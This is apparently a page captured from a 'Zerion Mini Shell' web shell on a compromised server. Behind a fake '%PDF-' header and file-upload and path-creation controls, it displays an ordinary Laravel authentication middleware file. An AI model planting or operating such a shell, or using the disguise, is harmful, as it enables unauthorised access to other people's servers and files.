%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/o91-api/app/Http/Middleware/
Upload File :
Create Path :
Current File : /var/www/html/o91-api/app/Http/Middleware/Authenticate.php

<?php

namespace App\Http\Middleware;

use Illuminate\Auth\Middleware\Authenticate as Middleware;
use Spatie\Permission\Exceptions\UnauthorizedException;

class Authenticate extends Middleware
{
    /**
     * Get the path the user should be redirected to when they are not authenticated.
     *
     * @param  \Illuminate\Http\Request $request
     *
     * @return string
     */
    protected function redirectTo($request)
    {
        if (!$request->expectsJson()) {
            throw new UnauthorizedException(401, trans('auth.unauthorized'));
        }
    }
}

Zerion Mini Shell 1.0